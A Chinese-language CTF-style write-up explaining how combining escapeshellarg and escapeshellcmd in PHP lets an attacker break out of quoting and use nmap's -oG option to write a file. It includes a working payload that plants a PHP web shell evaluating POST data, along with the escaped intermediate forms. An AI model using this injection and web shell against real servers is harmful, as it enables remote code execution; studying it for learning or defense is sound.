知识点
- escapeshellarg和escapeshellcmd使用不当
- namp -oG 1.php可以写入一个文件
escapeshellarg和escapeshellcmd使用不当
贴一个地址看看2个函数的作用吧
这边正常的话,例如我们输入 127.0.0.1' -oG
经过 escapeshellarg处理后就变成了'127.0.0.1'\'' -oG '
也就是发现单引号进行转义,且以它为中心分割为三部分(在两边加单引号) 。
随后在进经过escapeshellcmd 时变成:'127.0.0.1'\\'' -oG \'
也就是将不成对的单引号及任意\
进行添加\
的操作。
而此时我们想得到shell需要写入一个shell文件我们想要正常执行<?php phpinfo(); ?> -oG 1.php
但是经过上面的函数处理后变成了一个被单引号包围的字符串,不会当命令去执行,这里我们需要闭合一个单引号。
怎么闭合呢?我们举个例子;
1 2 3 4 5 6 7
| 我们payload为 1' shell ' escapeshellarg 》》 '1'\'' shell '\''' escapeshellcmd 》》 '1'\\'' shell '\\''' 这样其实我们的shell已经可以被执行了 就类似: nmap -T5 -sT -Pn --host-timeout 2 -F '1'\\'' shell '\\''' 但然闭合的场景不一样最后需要的payload样式也是不一样的。
|
所以最后我们的payload为:
1
| ' <?php @eval($_POST["mayi"]);?> -oG mayi.php '
|
这里记得用 -oG
其它的保存方法不行。
最后需要注意
为啥不可以 直接输入命令去执行?
因为经过escapeshellarg后会给2边加上单引号,此时放过去就类似 nmap '-oG...'
这样完全就没有作用了,开始没注意想了蛮久没明白。
需要注意的是 ;|& 等符号会被 escapeshellcmd 转义导致最后无效
payload 记得空格哟
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 正确的样式: ' <?php @eval($_POST["mayi"]);?> -oG mayi.php '
$host = escapeshellarg($host); >>> ''\'' <?php @eval($_POST["mayi"]);?> -oG mayi.php' \'''
$host = escapeshellcmd($host); >>> ''\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php' \\'''
# 等价于 \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php \\
# 根据解析规则 # 等价于 \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php # 写入后 <?php @eval($_POST["mayi"]);?> -oG mayi.php —————————————————————————————————————————— 但是如果你的payload为: ?host=' <?php @eval($_POST["mayi"]);?> -oG mayi.php' >>> ''\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php'\\''' >>> <?php @eval($_POST["mayi"]);?> -oG mayi.php\\ # 这样是不会被认为是php文件的。 #所以说必须后面要有 ‘ 而且前面要有空格哟。
|